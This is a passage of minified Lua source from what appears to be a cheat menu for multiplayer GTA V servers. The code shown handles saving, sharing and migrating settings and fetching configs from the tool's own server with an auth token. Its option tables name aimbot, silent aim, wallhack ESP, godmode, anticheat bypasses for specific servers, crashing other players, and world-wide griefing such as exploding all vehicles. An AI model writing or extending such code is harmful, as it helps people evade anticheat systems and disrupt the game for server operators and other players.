pcall(menu.configSystem.applyLoadedSettings, configData) menu.vars.suppressConfigApplyNotifications = previousSuppression if not applySucceeded then menu.utils.notify("Error applying config: " .. tostring(applyError), "error") end if menu.functions and menu.functions.ensureRageBotBulletTypeLayout then menu.functions.ensureRageBotBulletTypeLayout() end return true end pendingMenuEntry16 = loadConfig end menuFunctions.loadConfig = pendingMenuEntry16 do local function applyLoadedSettings(configData) if Ham and Ham.aimBot then Ham.aimBot(menu.vars.bools.aimbot == true) end if menu.vars.bools.godmode then menu.functions.toggleGodmode({ toggleState = true }) end if menu.functions.applyPlayerProofs then menu.functions.applyPlayerProofs() end if menu.vars.bools.invisibilityEnabled and menu.functions.applyInvisibility then menu.functions.applyInvisibility({ toggleState = true }) elseif menu.vars.bools.invisibility then menu.functions.toggleInvisibility({ toggleState = true }) elseif menu.vars.bools.fullInvisibleWalk and menu.functions.toggleFullInvisibleWalk then menu.functions.toggleFullInvisibleWalk({ toggleState = true }) end if menu.vars.bools.desyncName and menu.functions.toggleDesyncName then menu.functions.toggleDesyncName({ toggleState = true }) end if not (menu.vars.bools.noclip and menu.vars.bools.noclipModeEnabled and menu.functions.applyNoclipModeToggle) then if menu.vars.bools.fullInvisible then menu.functions.toggleFullInvisible({ toggleState = true }) end else menu.functions.applyNoclipModeToggle({ toggleState = true }) end if menu.vars.bools.antiTeleport then menu.functions.toggleAntiTeleport({ toggleState = true }) end if menu.vars.bools.antiBlockControl then menu.functions.toggleAntiBlockControl({ toggleState = true }) end if menu.vars.bools.antiFreeze then menu.functions.toggleAntiFreeze({ toggleState = true }) end if menu.vars.bools.antiVdm then menu.functions.toggleAntiVdm({ toggleState = true }) end if menu.vars.bools.antiWeaponBlock then menu.functions.toggleAntiWeaponBlock({ toggleState = true }) end if menu.vars.bools.antiKickDriver then menu.functions.toggleAntiKickDriver({ toggleState = true }) end if menu.vars.bools.freecam then menu.functions.toggleFreecam({ toggleState = true }) end if menu.vars.bools.sliderMode and menu.functions.toggleSliderMode then menu.functions.toggleSliderMode({ toggleState = true }) end if menu.vars.bools.runSpeed and menu.functions.toggleRunSpeed then menu.functions.toggleRunSpeed({ toggleState = true }) end if menu.vars.bools.spinBot and menu.functions.toggleSpinBot then menu.functions.toggleSpinBot({ toggleState = true }) end if menu.vars.bools.aimbot then menu.functions.toggleAimbot({ toggleState = true }) end if menu.vars.bools.aimbotIgnoreVehicles then menu.functions.toggleAimbotIgnoreVehicles({ toggleState = true }) end if menu.vars.bools.aimbotVisibleOnly then menu.functions.toggleAimbotVisibleOnly({ toggleState = true }) end if menu.vars.selectors.keyboardLayout then local keyboardLayouts = { "QWERT*", "AZERTY" } local keyboardLayout = keyboardLayouts[menu.vars.selectors.keyboardLayout] or keyboardLayouts[1] menu.utils.safeCallByName("applyKeyboardLayout", keyboardLayout) end if menu.vars.sliders.animationSpeed then menu.vars.animationSpeedMultiplier = menu.vars.sliders.animationSpeed end if menu.vars.sliders.aimbotFov then menu.functions.applyAimbotFov() end if menu.vars.sliders.aimbotSmoothing then menu.functions.applyAimbotSmoothing() end if menu.vars.selectors.aimbotBone then menu.functions.applyAimbotBone() end local colorIndex = menu.vars.selectors.color if colorIndex and 1 <= colorIndex and colorIndex <= #menu.vars.colorThemeNames then local colorTheme = menu.vars.colorThemeNames[colorIndex] menu.vars.currentColorTheme = colorTheme menu.functions.applyColorTheme(colorIndex, false) if menu.vars.currentColorTheme ~= colorTheme then menu.vars.currentColorTheme = colorTheme end end if menu.vars.colorThemeNames[menu.vars.selectors.color] == "adminbanners" then if not menu.vars.adminUsers or menu.vars.adminUsers[Ham.getName()] ~= true then menu.vars.selectors.color = 7 menu.vars.selectors.theme = 1 menu.vars.currentColorTheme = "community" if menu.functions.applyColorTheme then menu.functions.applyColorTheme(7, false) end end end menu.configSystem.applyThemeFromConfigData(configData) if menu.vars.selectors.selectionColor and 1 < menu.vars.selectors.selectionColor then local selectionColors = { "White Transparent", "Theme" } local selectionColor = selectionColors[menu.vars.selectors.selectionColor] if selectionColor then menu.vars.selectionColor = selectionColor end end if menu.functions.applySelectionBarSmooth then menu.functions.applySelectionBarSmooth() end if menu.functions.applyBackgroundStyle then menu.functions.applyBackgroundStyle() end if menu.functions and menu.functions.syncVanityFriendsToFriendList then menu.functions.syncVanityFriendsToFriendList() end if menu.utils and menu.utils.applyVanityPrivacyStateBags then menu.utils.applyVanityPrivacyStateBags() end end pendingMenuEntry16 = applyLoadedSettings end menuFunctions.applyLoadedSettings = pendingMenuEntry16 do local function saveConfigToFile(configName) local encodedConfig = menu.configSystem.saveConfig() if not encodedConfig then return false end menu.utils.notify("Config saved to string (use copy function)", "info") return encodedConfig end pendingMenuEntry16 = saveConfigToFile end menuFunctions.saveConfigToFile = pendingMenuEntry16 do local function loadConfigFromFile(configName) menu.utils.notify("File loading not implemented - use loadConfig() with JSON string", "info") return false end pendingMenuEntry16 = loadConfigFromFile end menuFunctions.loadConfigFromFile = pendingMenuEntry16 do local function exportConfig() local configString = menu.configSystem.saveConfig() if not configString then return nil end return menu.configSystem.encodeForSharing(configString) end pendingMenuEntry16 = exportConfig end menuFunctions.exportConfig = pendingMenuEntry16 do local function importConfig(encodedConfig) if not encodedConfig or encodedConfig == "" then menu.utils.notify("Invalid encoded config string", "error") return false end local configString = menu.configSystem.decodeFromSharing(encodedConfig) if not configString then menu.utils.notify("Failed to decode config string", "error") return false end return menu.configSystem.loadConfig(configString) end pendingMenuEntry16 = importConfig end menuFunctions.importConfig = pendingMenuEntry16 do local function encodeForSharing(configString) return string.gsub(configString, "([^A-Za-z0-9])", function(character) return string.format("%%%02X", string.byte(character)) end) end pendingMenuEntry16 = encodeForSharing end menuFunctions.encodeForSharing = pendingMenuEntry16 do local function decodeFromSharing(encodedConfig) return string.gsub(encodedConfig, "%%(%x%x)", function(hexByte) return string.char(tonumber(hexByte, 16)) end) end pendingMenuEntry16 = decodeFromSharing end menuFunctions.decodeFromSharing = pendingMenuEntry16 do local function resetToDefaults() menu.vars.bools = { alwaysDrawScrollbar = true, menuMouseControl = false, silentAimShowFov = true, rageBotShowFov = true, aimbotShowFov = true, drawSelectedLine = true, drawSelectedVehicleLine = true, drawSelectedPlayerInfo = true, noclipScrollSpeed = false, showEntitySpawnPreview = true, silentAimVisibleCheck = true, silentAimNpc = false, silentAimUnarmed = false, silentAimGrand = false, rageBotNpc = false, rageBotTargetDead = false, rageBotUdKill = false, rageBotSilentKillF = false, grandRpBypass = true, revoBypass = false, triggerBot = false, triggerBotHoldKey = false, triggerBotNpc = false, lazerEyes = false, lazerEyesDisableRockets = false, lazerEyesShootFromDick = false, lazerEyesSilentAimSupport = false, disabledUsernameOnMenu = false, descriptionBar = true, skipTestServerConfirm = false, menuSound = true, infoList = false, keybindList = true, selfEsp = false, npcEsp = false, espEnable = false, espText = false, espTextNameEnabled = true, espTextGroupEnabled = true, espTextIdEnabled = true, espTextDistanceEnabled = true, espTextWeaponEnabled = true, espSkeleton = true, espSkeletonFeet = false, espSkeletonWallHighlight = true, espSkeletonOutline = false, espBox = false, espBoxShow = false, espBoxFill = false, espSkeletonGlow = false, espBoxGlow = false, espBoxHealth = true, espBoxArmor = false, vehicleEsp = false, vehicleEspShowName = false, vehicleEspShowDistance = false, vehicleEspShowHealth = false, vehicleEspShowTank = false, vehicleEspShowSpeed = false, vehicleEspLockState = false, pedSpoofEnabled = false, vehSpawnerSpawnInside = true, vehSpawnerSpawnTuned = false, showVehicleSpawnPreview = true, noclipInvis = false, noclipModeEnabled = false, invisibilityEnabled = false, desyncName = false, fullInvisible = false, fullInvisibleWalk = false, spectate = false, godmode = false, proofBullet = false, proofFire = false, proofExplosion = false, proofCollision = false, proofMelee = false, proofSteam = false, proofDrown = false, noclip = false, antiTeleport = false, antiBlockControl = false, antiFreeze = false, antiVdm = false, seatbeltScriptBypass = false, antiWeaponBlock = false, antiFirstPerson = false, deleteNearbyPedsBypass = false, antiKickDriver = false, spoofWeaponBypass = false, localWeaponSpoof = false, fakeWeaponEnabled = false, weaponBypassRecommended = false, electronAcWeaponBypass = false, weaponBypass = false, spawnInHand = false, soloSession = false, nameTagsEsp = false, healthBarEsp = false, skeletonEsp = false, boxEsp = false, pedNameTagsEsp = false, pedHealthBarEsp = false, pedSkeletonEsp = false, pedBoxEsp = false, pedDistanceEsp = false, pedWeaponEsp = false, excludeDeadPed = false, excludeDead = false, otherEspPedSkeleton = true, otherEspPedBox = true, otherEspPedBoxFill = false, otherEspPedName = true, otherEspPedGroup = true, otherEspPedId = false, otherEspPedDistance = true, otherEspPedWeapon = true, otherEspPedHealth = true, otherEspPedArmor = true, forceDragOut = false, fastPunch = false, punchMode = false, silentKillMode = false, towTruck = false, pitMode = false, vehicleVdmMode = false, vehicleVdmTornadoActive = false, spectatorList = true, vanityUsersList = false, showMeOnServers = false, showMyLocation = false, showMeInVanityEsp = false, showMeInOnlineOptions = false, forceTime = false, forceWeather = false, poisonAttack = false, carryObjects = false, miscCrash = false, miscCrashAllLoop = false, crazyHelicopter = false, damageReflection = false, destroyerExplodeEnabled = false, destroyerExplodeWorld = false, destroyerExplodeAllVehicles = false, destroyerKillWorld = false, destroyerLaunchEveryone = false, destroyerSlapEveryone = false, destroyerPunchEveryone = false, aimbot = false, aimbotIgnoreVehicles = false, aimbotVisibleOnly = false, aimbotFillFov = false, silentAimFillFov = false, silentAimEspBlink = true, rageBotFillFov = false, rcCarActive = false, infiniteStamina = false, infiniteJump = false, crosshair = false, forceWeaponwheel = false, oneShot = false, teleportBullet = false, freecamOptionMapDestroyer = true, freecamOptionSpawnExplosion = true, freecamOptionSpawnFire = true, freecamOptionSpawnAttacker = true, freecamOptionShootPed = true, freecamOptionSpawnObject = true, freecamOptionSpawnVehicle = true, freecamOptionShootRPG = true, freecamOptionShoot = true, freecamOptionSelectPlayer = true, freecamOptionMassKill = true, freecamOptionFightParty = true, freecamOptionPunchEveryone = true, freecamOptionBlackHole = true, freecamOptionUnselectPlayer = true, freecamOptionTeleport = true, freecamOptionLookAround = true, freecamOptionStealVehicle = true, freecamOptionNPCVehicleHijack = true, freecamOptionPhysgun = true, freecamOptionShootObjects = true, freecamOptionShootParticles = true, freecamOptionShootVehicle = true, freecamOptionHelicopterAttack = true, devPedObjectModelDebug = false, freecamBlockQEMovement = true, espTextRainbow = false, espSkeletonRainbow = false, espBoxRainbow = false, emoteMenuResetAnimation = false } local themeName = "blue" local startupThemeKey = menu.textureLoading.getStartupThemeKey() local colorIndex = 3 local username = string.lower(tostring(Ham.getName() or "")) if username == "brascowhite" then themeName = "community" startupThemeKey = "brascowhite" colorIndex = 7 end local themeIndex = 1 local theme = menu.themes and menu.themes[themeName] or {} local themeKeys = {} for key in pairs(theme) do table.insert(themeKeys, key) end table.sort(themeKeys, function(first, second) local firstNumber = tonumber(first:match("%d+$")) or 0 local secondNumber = tonumber(second:match("%d+$")) or 0 if firstNumber ~= secondNumber then return firstNumber < secondNumber end return first < second end) for index, key in ipairs(themeKeys) do if key == startupThemeKey then themeIndex = index break end end menu.vars.selectors = { selectionBarSpeedMultiplier = 0.55, selectionBarSmooth = 3, boxPlayerSelector = 1, playerEspType = 1, pedEspType = 1, silentKillAlternativeSelector = 1, smashSelector = 1, radarVehicleLockSelector = 1, teleportVehicleSeat = 1, keyboardLayout = 1, silentAimBone = 1, silentAimMode = 1, silentAimGrandCategory = 1, silentAimGrandWeapon = 1, triggerBotAimMode = 1, teleportSelector = 1, forceEmote = 1, forceRadioAnimType = 1, rainbowVehicle = 1, carryThrowForce = 1, rageBotType = 1, rageBotBulletType = 1, teleportLocation = 1, teleportTarget = 1, normalOutfit = 1, adminOutfit = 1, adminBlackscreenChoice = 1, adminSkyVoidChoice = 1, adminBlockControlsChoice = 1, adminSlowModeChoice = 1, vehicleSelector = 1, vehicleSelector2 = 1, vehicleAttachSelector = 1, vehicleVdmModeStyle = 1, vehicleLockSelector = 1, reosurceStopSelector = 1, resourceStopFilterSelector = 1, pedChangerSelector = 1, selectionColor = 1, color = colorIndex, theme = themeIndex, noclipMode = 1, fakeWeaponSpoof = 1, invisibilityMode = 1, configSelector = 1, saveConfigSelector = 1, aimbotBone = 1, espHealthBarColor = 1, pedEspHealthBarColor = 1, espHealthBarPos = 4, espArmorBarPos = 4, otherEspHealthBarPos = 4, otherEspArmorBarPos = 4, otherEspPedHealthBarPos = 4, otherEspPedArmorBarPos = 4, espTextName = 2, espTextGroup = 2, espTextId = 2, espTextDistance = 2, espTextWeapon = 2, weatherType = 1, launchFlingSelector = 1, pedAttackSelector = 1, cageSelector = 1, attachSelector = 1, trapSelector = 1, cubeSelector = 1, rainSelector = 1, arabAttackSelector = 1, blameStyle = 1, blameKillStyle = 1, crashPlayerStyle = 1, savedOutfitSelector = 1, deleteOutfitSelector = 1, hornBoostSelector = 1, crosshairMode = 1, crosshairType = 1, freecamAdjustKeys = 2, freecamVisibleOptions = 5, espTextRainbowMode = 1, espSkeletonRainbowMode = 1, espBoxRainbowMode = 1, backgroundStyle = 5, playerListSortMode = 1, vehicleEspInfoPosition = 1, vehicleEspInfoLayout = 1, destroyerBurnEveryoneRadius = 2, destroyerPunchEveryoneRadius = 2, destroyerSlapEveryoneRadius = 2, onlineRagdollMode = 1 } menu.vars.sliders = { playerHealth = 95, playerArmor = 95 } menu.vars.colorPickers = { espHealthBarStaticColor = { 0, 133, 255, 255 }, espArmorColor = { 0, 133, 255, 255 }, espSkeletonColor = { 255, 255, 255, 255 }, espSkeletonOccludedColor = { 208, 176, 136, 255 } } menu.vars.hotkeys = {} menu.vars.hotkeyBinds = {} menu.vars.hotkeyBinds.AIMBOT_KEY = "MouseRight" menu.vars.hotkeyBinds.SILENT_AIM_KEY = "None" menu.vars.hotkeyBinds.TRIGGER_BOT_KEY = "None" menu.vars.hotkeyBinds.SILENT_AIM_SELECT = "None" menu.vars.hotkeyBinds.FREECAM_CROSSHAIR_TP = "None" menu.vars.hotkeyBinds.FORCE_RADIO_ANIM_KEY = "LeftAlt" menu.vars.hotkeyBinds.EMOTE_RESET_ANIMATION_KEY = "X" if _ENV.ImGuiKey and _ENV.ImGuiKey.PageUp then menu.vars.hotkeys[_ENV.ImGuiKey.PageUp] = { identifier = "PANIC_MODE", type = "button", func = "togglePanicMode", name = "Panic Button", keybindName = "Panic Button" } menu.vars.hotkeyBinds.PANIC_MODE = "PageUp" end menu.vars.keybindsDirty = true menu.vars.tabScrollLeftKey = menu.functions.defaultTabScrollLeftKey and menu.functions.defaultTabScrollLeftKey() or "Q" menu.vars.tabScrollRightKey = "E" menu.vars.menuOptionBindKey = "F11" menu.vars.savedOutfits = {} menu.vars.savedLocations = {} menu.vars.vanityFriends = {} menu.vars.customObjects = {} menu.vars.customVehicles = {} menu.vars.customPeds = {} menu.vars.shootVehicleCustomModels = {} menu.vars.silentAimGrandWeaponDamage = {} menu.vars._silentAimGrandWeaponDamageByHash = nil menu.vars._silentAimGrandCategoryChoicesCache = nil menu.vars._silentAimGrandWeaponChoicesCache = nil menu.vars._silentAimGrandSpoofState = nil menu.vars.textPrompt = nil menu.vars.notifications = {} if menu.vars.spectatorListState then menu.vars.spectatorListState.x = nil menu.vars.spectatorListState.y = nil end if menu.vars.vanityUsersListState then menu.vars.vanityUsersListState.x = nil menu.vars.vanityUsersListState.y = nil end if menu.vars.keybindListState then menu.vars.keybindListState.followInfoLayout = true menu.vars.keybindListState.x = nil menu.vars.keybindListState.y = nil end if menu.vars.infoListState then menu.vars.infoListState.x = nil menu.vars.infoListState.y = nil end if menu.vars.menuPositionState then menu.vars.menuPositionState.x = nil menu.vars.menuPositionState.y = nil end menu.vars.selectionAnim = { initialized = false, y = 0, targetY = 0 } local previousSuppression = menu.vars.suppressConfigApplyNotifications menu.vars.suppressConfigApplyNotifications = true local applySucceeded, applyError = _ENV.pcall(menu.configSystem.applyLoadedSettings) menu.vars.suppressConfigApplyNotifications = previousSuppression if not applySucceeded then menu.utils.notify("Error applying defaults: " .. tostring(applyError), "error") end if menu.functions.applyDefaultStartupBannerTheme then menu.functions.applyDefaultStartupBannerTheme() end if menu.functions.applyBackgroundStyle then menu.functions.applyBackgroundStyle() end if menu.functions.applySelectionBarSmooth then menu.functions.applySelectionBarSmooth() end if menu.functions.applyAimbotKey then menu.functions.applyAimbotKey() end if Ham and Ham.aimBot then Ham.aimBot(false) end if menu.utils.applyGrandServerSilentAimDefaults then menu.utils.applyGrandServerSilentAimDefaults() end if not menu.vars.suppressConfigApplyNotifications then menu.utils.notify("Settings reset to defaults", "success") end end pendingMenuEntry16 = resetToDefaults end menuFunctions.resetToDefaults = pendingMenuEntry16 do local function fetchConfigs(callback) if not callback then return menu.vars.cachedConfigs or {} end Citizen.CreateThread(function() local username = Ham.getName() if not username or username == "" then menu.utils.notify("Unable to get username for config fetch", "error") callback({}) return end local url = "https://vty.ham.cx/configs?token=" .. Ham.getAuthToken() if not url then url = "" end local requestId = Ham.httpGetAsync(url, nil, true) if not requestId then menu.utils.notify("Failed to start config fetch request", "error") callback({}) return end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result and result.ready then if result.success and result.data then local decodeSucceeded, response = pcall(json.decode, result.data) if decodeSucceeded and response and response.success then callback(response.configs or {}) return end end callback({}) return end Wait(10) end menu.utils.notify("Config fetch request timed out", "error") callback({}) end) end pendingMenuEntry16 = fetchConfigs end menuFunctions.fetchConfigs = pendingMenuEntry16 do local function applyDefaultEspSettings(configData) if type(configData) ~= "table" then return end configData.bools = type(configData.bools) == "table" and configData.bools or {} configData.selectors = type(configData.selectors) == "table" and configData.selectors or {} configData.colorPickers = type(configData.colorPickers) == "table" and configData.colorPickers or {} configData.selectors.espHealthBarColor = 1 configData.colorPickers.espHealthBarStaticColor = { 0, 133, 255, 255 } configData.colorPickers.espArmorColor = { 0, 133, 255, 255 } for _, field in ipairs({ "Name", "Group", "Id", "Distance", "Weapon" }) do configData.bools["espText" .. field .. "Enabled"] = true configData.selectors["espText" .. field] = 2 end end pendingMenuEntry16 = applyDefaultEspSettings end menuFunctions.applyDefaultEspSettings = pendingMenuEntry16 do local function migrateLegacyVisualDefaults(configData) if type(configData) ~= "table" then return false end local version = tonumber(configData.visualDefaultsVersion) or 0 if version >= menu.configSystem.visualDefaultsVersion then return false end menu.configSystem.applyDefaultEspSettings(configData) configData.selectors.backgroundStyle = 5 configData.visualDefaultsVersion = menu.configSystem.visualDefaultsVersion return true end pendingMenuEntry16 = migrateLegacyVisualDefaults end menuFunctions.migrateLegacyVisualDefaults = pendingMenuEntry16 do local function loadConfigFromServer(configName, callback) Citizen.CreateThread(function() local username = Ham.getName() if not username or username == "" then menu.utils.notify("Unable to get username for config load", "error") if callback then callback(false) end return end local url = "https://vty.ham.cx/config?token=" .. Ham.getAuthToken() .. "&configName=" .. menu.configSystem.urlEncode(configName) local requestId = Ham.httpGetAsync(url, nil, true) if not requestId then menu.utils.notify("Failed to start config load request", "error") if callback then callback(false) end return end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result and result.ready then if result.success and result.data then local decodeSucceeded, response = pcall(json.decode, result.data) if decodeSucceeded and response and response.success and response.config then local configData = response.config.configData if configData then if menu.configSystem.loadConfig(configData) then if callback then callback(true) end return end menu.utils.notify("Failed to apply config '" .. configName .. "'", "error") if callback then callback(false) end return end menu.utils.notify("Config '" .. configName .. "' has no data", "error") if callback then callback(false) end return end menu.utils.notify("Config '" .. configName .. "' not found", "error") if callback then callback(false) end return end menu.utils.notify("Failed to fetch config '" .. configName .. "'", "error") if callback then callback(false) end return end Wait(10) end menu.utils.notify("Config load request timed out", "error") if callback then callback(false) end end) end pendingMenuEntry16 = loadConfigFromServer end menuFunctions.loadConfigFromServer = pendingMenuEntry16 do local function isLegacyFactoryDefaultTheme(configData) if type(configData) ~= "table" then return true end local version = tonumber(configData.bannerThemeVersion) or 0 local selectors if version >= menu.configSystem.bannerThemeVersion then return false end selectors = configData.selectors or {} local colorIndex = tonumber(selectors.color) local themeIndex = tonumber(selectors.theme) if not colorIndex or not themeIndex then return true end if colorIndex == 1 and (themeIndex == 1 or themeIndex == 6) then return true end if colorIndex == 3 and (themeIndex == 1 or themeIndex == 3 or themeIndex == 5) then return true end if colorIndex == 2 and themeIndex == 5 then return true end if colorIndex == 5 and themeIndex == 4 then return true end if colorIndex == 7 then local themeKeys = menu.utils and menu.utils.getSortedThemeKeys and menu.utils.getSortedThemeKeys("community") or {} if themeKeys[themeIndex] == "black" then return true end end return false end pendingMenuEntry16 = isLegacyFactoryDefaultTheme end menuFunctions.isLegacyFactoryDefaultTheme = pendingMenuEntry16 do local function migrateBannerCategories(configData) if type(configData) ~= "table" or 1 <= (tonumber(configData.bannerCategoryVersion) or 0) then return end local selectors = configData.selectors if type(selectors) == "table" then local colorIndex = tonumber(selectors.color) local themeIndex = tonumber(selectors.theme) or 1 if colorIndex == 8 then local categoryMappings = { { 6, 8 }, { 3, 7 }, { 2, 6 }, { 1, 8 } } local mapping = categoryMappings[themeIndex] if mapping then selectors.theme = mapping[2] selectors.color = mapping[1] elseif 4 < themeIndex then selectors.theme = themeIndex - 4 selectors.color = 8 else selectors.theme = 7 selectors.color = 3 end elseif colorIndex == 9 then selectors.color = 8 end end configData.bannerCategoryVersion = 1 end pendingMenuEntry16 = migrateBannerCategories end menuFunctions.migrateBannerCategories = pendingMenuEntry16 do local function migrateRemovedCommunityBanner(configData) if type(configData) ~= "table" or 4 <= (tonumber(configData.communityBannerVersion) or 0) then return end local version = tonumber(configData.communityBannerVersion) or 0 local selectors = configData.selectors if type(selectors) == "table" and menu.vars.colorThemeNames[tonumber(selectors.color)] == "community" then local themeIndex = tonumber(selectors.theme) if themeIndex then if version < 1 then themeIndex = math.max(1, themeIndex - 1) end if version < 2 then if themeIndex == 11 then themeIndex = 1 elseif 11 < themeIndex then themeIndex = themeIndex - 1 end end if version < 3 then if themeIndex == 25 then themeIndex = 1 elseif 25 < themeIndex then themeIndex = themeIndex - 1 end end if themeIndex == 25 then themeIndex = 1 elseif 25 < themeIndex then themeIndex = themeIndex - 1 end selectors.theme = themeIndex end end configData.communityBannerVersion = 4 end pendingMenuEntry16 = migrateRemovedCommunityBanner end menuFunctions.migrateRemovedCommunityBanner = pendingMenuEntry16 do local function migrateRemovedRedBanner(configData) if type(configData) ~= "table" or type(configData.selectors) ~= "table" then return end local selectors = configData.selectors if menu.vars.colorThemeNames[tonumber(selectors.color)] == "red" and tonumber(selectors.theme) == 8 then selectors.theme = 1 end end pendingMenuEntry16 = migrateRemovedRedBanner end menuFunctions.migrateRemovedRedBanner = pendingMenuEntry16 do local function migrateGreyBanner(configData) if type(configData) ~= "table" then return end local version = tonumber(configData.greyBannerVersion) or 0 if version >= menu.configSystem.greyBannerVersion then return end local selectors = configData.selectors if type(selectors) == "table" and menu.vars.colorThemeNames[tonumber(selectors.color)] == "grey" then local themeIndex = tonumber(selectors.theme) if themeIndex == 5 then selectors.theme = 1 elseif themeIndex and 5 < themeIndex then selectors.theme = themeIndex - 1 end end configData.greyBannerVersion = menu.configSystem.greyBannerVersion end pendingMenuEntry16 = migrateGreyBanner end menuFunctions.migrateGreyBanner = pendingMenuEntry16 do local function applyThemeFromConfigData(configData) if type(configData) ~= "table" then return false end menu.configSystem.migrateGreyBanner(configData) menu.configSystem.migrateRemovedRedBanner(configData) if not menu.functions or not menu.functions.applyDefaultStartupBannerTheme then return false end menu.configSystem.migrateRemovedCommunityBanner(configData) menu.configSystem.migrateBannerCategories(configData) local selectors = configData.selectors or {} local colorIndex = tonumber(selectors.color) local themeIndex = tonumber(selectors.theme) local colorName if colorIndex then colorName = menu.vars.colorThemeNames[colorIndex] end local themeKeys = colorName and menu.utils.getSortedThemeKeys(colorName) or {} if not themeIndex or not themeKeys[themeIndex] or not menu.utils.canUseColorTheme(colorName) then menu.functions.applyDefaultStartupBannerTheme() return true end menu.vars.selectors.color = colorIndex menu.vars.selectors.theme = themeIndex menu.vars.currentColorTheme = colorName menu.functions.applyTheme() return true end pendingMenuEntry16 = applyThemeFromConfigData end menuFunctions.applyThemeFromConfigData = pendingMenuEntry16 do local function startDefaultConfigThemeRequest() if menu.configSystem._defaultThemeApplied or menu.configSystem._defaultThemeRequestId then return end local authToken = Ham.getAuthToken and Ham.getAuthToken() or "" if authToken == "" then return end local url = "https://vty.ham.cx/config?token=" .. authToken .. "&configName=default" menu.configSystem._defaultThemeRequestId = Ham.httpGetAsync(url, nil, true) end pendingMenuEntry16 = startDefaultConfigThemeRequest end menuFunctions.startDefaultConfigThemeRequest = pendingMenuEntry16 do local function pollDefaultConfigThemeRequest() if menu.configSystem._defaultThemeApplied then return true end local requestId = menu.configSystem._defaultThemeRequestId if not requestId then return false end local result = Ham.getAsyncResult(requestId) if not result or not result.ready then return false end menu.configSystem._defaultThemeRequestId = nil if not result.success or not result.data then return false end local decodeSucceeded, response = pcall(json.decode, result.data) if not decodeSucceeded or type(response) ~= "table" or not response.success or not response.config then return false end local rawConfig = response.config.configData or response.config local configData = rawConfig if type(rawConfig) == "string" then local succeeded, decoded = pcall(json.decode, rawConfig) if succeeded then configData = decoded end end if type(configData) == "table" and type(configData.configData) == "string" then local succeeded, decoded = pcall(json.decode, configData.configData) if succeeded then configData = decoded end end if type(configData) == "table" then menu.configSystem.migrateLegacyVisualDefaults(configData) local encodeSucceeded, encoded = pcall(json.encode, configData) if encodeSucceeded then rawConfig = encoded end end if menu.configSystem.applyThemeFromConfigData(configData) then menu.configSystem._defaultThemeApplied = true menu.configSystem._defaultConfigTable = configData if type(rawConfig) == "string" then menu.configSystem._defaultConfigJson = rawConfig else local encodeSucceeded, encoded = pcall(json.encode, configData) if encodeSucceeded then menu.configSystem._defaultConfigJson = encoded end end return true end return false end pendingMenuEntry16 = pollDefaultConfigThemeRequest end menuFunctions.pollDefaultConfigThemeRequest = pendingMenuEntry16 do local function waitForDefaultConfigTheme(timeoutMs) menu.configSystem.startDefaultConfigThemeRequest() local deadline = GetGameTimer() + (timeoutMs or 1500) while deadline > GetGameTimer() do if menu.configSystem.pollDefaultConfigThemeRequest() then return true end if not menu.configSystem._defaultThemeRequestId and not menu.configSystem._defaultThemeApplied then return false end Wait(0) end return menu.configSystem._defaultThemeApplied == true end pendingMenuEntry16 = waitForDefaultConfigTheme end menuFunctions.waitForDefaultConfigTheme = pendingMenuEntry16 do local function buildVanityFriendsConfigJson() local friends = {} for _, value in pairs(menu.vars.vanityFriends or {}) do if value and value ~= "" then friends[#friends + 1] = tostring(value) end end table.sort(friends, function(first, second) return string.lower(tostring(first)) < string.lower(tostring(second)) end) local configData = { version = menu.configSystem.version, timestamp = GetGameTimer(), vanityFriends = friends } local encodeSucceeded, encoded = pcall(json.encode, configData) if not encodeSucceeded then return nil end return encoded end pendingMenuEntry16 = buildVanityFriendsConfigJson end menuFunctions.buildVanityFriendsConfigJson = pendingMenuEntry16 do local function applyVanityFriendsFromConfig(configData) if type(configData) ~= "table" or type(configData.vanityFriends) ~= "table" then return false end menu.vars.vanityFriends = {} for _, value in ipairs(configData.vanityFriends) do local normalizedName if menu.utils and menu.utils.normalizeHamUsername then normalizedName = menu.utils.normalizeHamUsername(value) end if not normalizedName then normalizedName = string.lower(string.gsub(tostring(value or ""), "^%s*(.-)%s*$", "%1")) end if normalizedName and normalizedName ~= "" then menu.vars.vanityFriends[normalizedName] = tostring(value) end end if menu.functions and menu.functions.syncVanityFriendsToFriendList then menu.functions.syncVanityFriendsToFriendList() end return true end pendingMenuEntry16 = applyVanityFriendsFromConfig end menuFunctions.applyVanityFriendsFromConfig = pendingMenuEntry16 do local function saveVanityFriendsToServer(callback) Citizen.CreateThread(function() local configJson = menu.configSystem.buildVanityFriendsConfigJson() if not configJson then if callback then callback(false) end return end local username = Ham.getName() if not username or username == "" then if callback then callback(false) end return end local payload = { username = username, configName = menu.configSystem.vanityFriendsStoreName, configContent = configJson, token = Ham.getAuthToken() or "" } local requestId = Ham.httpPostAsync("https://vty.ham.cx/config", json.encode(payload)) if not requestId then if callback then callback(false) end return end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result and result.ready then local succeeded = false if result.success and result.data then local decodeSucceeded, response = pcall(json.decode, result.data) if not decodeSucceeded then succeeded = decodeSucceeded elseif not response then succeeded = response else succeeded = response.success == true end end if callback then callback(succeeded) end return end Wait(10) end if callback then callback(false) end end) end pendingMenuEntry16 = saveVanityFriendsToServer end menuFunctions.saveVanityFriendsToServer = pendingMenuEntry16 do local function loadVanityFriendsFromServer(callback) Citizen.CreateThread(function() local storeName = menu.configSystem.vanityFriendsStoreName local url = "https://vty.ham.cx/config?token=" .. Ham.getAuthToken() .. "&configName=" .. menu.configSystem.urlEncode(storeName) local requestId = Ham.httpGetAsync(url, nil, true) if not requestId then if callback then callback(false) end return end local deadline = GetGameTimer() + 10000 while deadline > GetGameTimer() do local result = Ham.getAsyncResult(requestId) if result and result.ready then if result.success and result.data then local decodeSucceeded, response = pcall(json.decode, result.data) if decodeSucceeded and response and response.success and response.config and response.config.configData then local configData = response.config.configData if type(configData) == "string" then local succeeded, decoded = pcall(json.decode, configData) if succeeded then configData = decoded end end if menu.configSystem.applyVanityFriendsFromConfig(configData) then if callback then callback(true) end return end end end if menu.vars.vanityFriends and next(menu.vars.vanityFriends) then menu.configSystem.saveVanityFriendsToServer(callback) elseif callback then callback(false) end return end Wait(10) end if callback then callback(false) end end) end pendingMenuEntry16 = loadVanityFriendsFromServer end menuFunctions.loadVanityFriendsFromServer = pendingMenuEntry16 do local function saveConfigToServer(configName, callback) Citizen.CreateThread(function() local username = Ham.getName() if not username or username == "" then 